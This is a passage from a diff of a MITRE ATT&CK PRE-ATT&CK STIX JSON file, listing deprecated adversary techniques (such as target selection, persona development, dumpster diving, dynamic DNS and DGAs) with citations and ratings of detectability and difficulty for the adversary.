Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017." + }, + { + "source_name": "JP3-60", + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017." + }, + { + "source_name": "JP3-12R", + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017." + }, + { + "source_name": "DoD Cyber 2015", + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1021", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Determine strategic target", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1241).\n\nAn adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1241", + "external_id": "T1241" + }, + { + "source_name": "CyberAdversaryBehavior", + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017." + }, + { + "source_name": "JP3-60", + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017." + }, + { + "source_name": "JP3-12R", + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017." + }, + { + "source_name": "DoD Cyber 2015", + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1018", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Develop KITs/KIQs", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1227).\n\nLeadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1227", + "external_id": "T1227" + }, + { + "source_name": "Herring1999", + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1004", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--271e6d40-e191-421a-8f87-a8102452c201", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Develop social network persona digital footprint", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1342).\n\nBoth newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1342", + "external_id": "T1342" + }, + { + "source_name": "NEWSCASTER2014", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" + }, + { + "source_name": "BlackHatRobinSage", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" + }, + { + "source_name": "RobinSageInterview", + "description": "Joan Goodchild. (2010, July 8). The Robin Sage experiment: Fake profile fools security pros. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1119", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Discover new exploits and monitor exploit-provider forums", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1350).\n\nAn exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1350", + "external_id": "T1350" + }, + { + "source_name": "EquationQA", + "description": "Kaspersky Lab. (2015, February). EQUATION GROUP: QUESTIONS AND ANSWERS. Retrieved March 9, 2017.", + "url": "https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Many public sources exist for this information.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1127", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Discover target logon/email address format", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1255).\n\nEmail addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1255", + "external_id": "T1255" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1032", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Disseminate removable media", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1379).\n\nRemovable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1379", + "external_id": "T1379" + }, + { + "source_name": "USBMalwareAttacks", + "description": "Sean Carroll. (2010, November 4). USB Malware Attacks On the Rise. Retrieved March 9, 2017." + }, + { + "source_name": "FPDefendNewDomain", + "description": "William J. Lynn III. (2010, September). Defending a New Domain. Retrieved March 9, 2017." + }, + { + "source_name": "ParkingLotUSB", + "description": "Emil Protalinski. (2012, July 11). Criminals push malware by 'losing' USB sticks in parking lots. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1156", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Distribute malicious software development tools", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1394).\n\nAn adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1394", + "external_id": "T1394" + }, + { + "source_name": "PA XcodeGhost", + "description": "Claud Xiao. (2015, September 17). Novel Malware XcodeGhost Modifies Xcode, Infects Apple iOS Apps and Hits App Store. Retrieved April 12, 2017." + }, + { + "source_name": "Reflections on Trusting Trust", + "description": "Ken Thompson. (1984, August). Reflections on Trusting Trust. Retrieved April 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1171", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Domain Generation Algorithms (DGA)", + "description": "**This technique has been deprecated. Please use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1568/002).**\n\nThe use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1323", + "url": "https://attack.mitre.org/techniques/T1323" + }, + { + "description": "Damballa Day Before Zero Blog. (2012, March 5). Domain Generation Algorithms (DGA) in Stealthy Malware. Retrieved March 6, 2017.", + "source_name": "DamballaDGA" + }, + { + "description": "Damballa. (n.d.). DGAs in the Hands of Cyber-Criminals Examining The State Of The Art In Malware Evasion Techniques. Retrieved March 6, 2017.", + "source_name": "DambballaDGACyberCriminals" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-03-30T14:06:00.117Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_deprecated": true, + "x_mitre_old_attack_id": "PRE-T1100", + "x_mitre_version": "2.0", + "x_mitre_difficulty_for_adversary_explanation": "This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.", + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "id": "attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Domain registration hijacking", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326).\n\nDomain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1326", + "external_id": "T1326" + }, + { + "source_name": "ICANNDomainNameHijacking", + "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", + "url": "https://www.icann.org/groups/ssac/documents/sac-007-en" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1103", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Generally not easily detectable unless domain registrar provides alerting on any updates.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Dumpster dive", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286).\n\nDumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1286", + "external_id": "T1286" + }, + { + "source_name": "FriedDumpsters", + "description": "Robert B. Fried. (n.d.). Dumpsters: Beware of Treasures. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Strong physical security and monitoring will detect this behavior if performed on premises.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Not difficult if waste is placed in an unsecured or minimally secured area before collection.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1063", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Dynamic DNS", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1311).\n\nDynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1311", + "external_id": "T1311" + }, + { + "source_name": "DellMirage2012", + "description": "DELL SECUREWORKS COUNTER THREAT UNIT THREAT INTELLIGENCE. (2012, September 18). The Mirage Campaign. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1088", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Dynamic DNS", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333).\n\nDynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1333", + "external_id": "T1333" + }, + { + "source_name": "FireEyeSupplyChain", + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know at first use what is valid or hostile traffic without more context.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1110", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Enumerate client configurations", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1262).\n\nClient configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1262", + "external_id": "T1262" + }, + { + "source_name": "UnseenWorldOfCookies", + "description": "Joanna Geary, Chris Cross. (2012, April 13). Tracking the trackers: help us reveal the unseen world of cookies. Retrieved March 5, 2017." + }, + { + "source_name": "Panopticlick", + "description": "Electronic Frontier Foundation. (n.d.). Panopticlick: Is your browser safe against tracking?. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1039", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Enumerate externally facing software applications technologies, languages, and dependencies", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1261).\n\nSoftware applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1261", + "external_id": "T1261" + }, + { + "source_name": "CommonApplicationAttacks", + "description": "Paul Ionescu. (2015, April 8). The 10 Most Common Application Attacks in Action. Retrieved March 5, 2017." + }, + { + "source_name": "WebApplicationSecurity", + "description": "Gregory Leonard. (2016, February). Getting Started with Web Application Security. Retrieved March 5, 2017." + }, + { + "source_name": "SANSTop25", + "description": "SANS Institute. (2011, June 27). CWE/SANS TOP 25 Most Dangerous Software Errors. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1038", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Exploit public-facing application", + "description": "**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).**\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1377", + "url": "https://attack.mitre.org/techniques/T1377" + }, + { + "description": "PETER BRIGHT. (2013, November 6). Google crawler tricked into performing SQL injection attacks using decade-old technique. Retrieved March 9, 2017.", + "source_name": "GoogleCrawlerSQLInj" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:20:54.394Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1154", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "id": "attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30", + "created_by_ref": 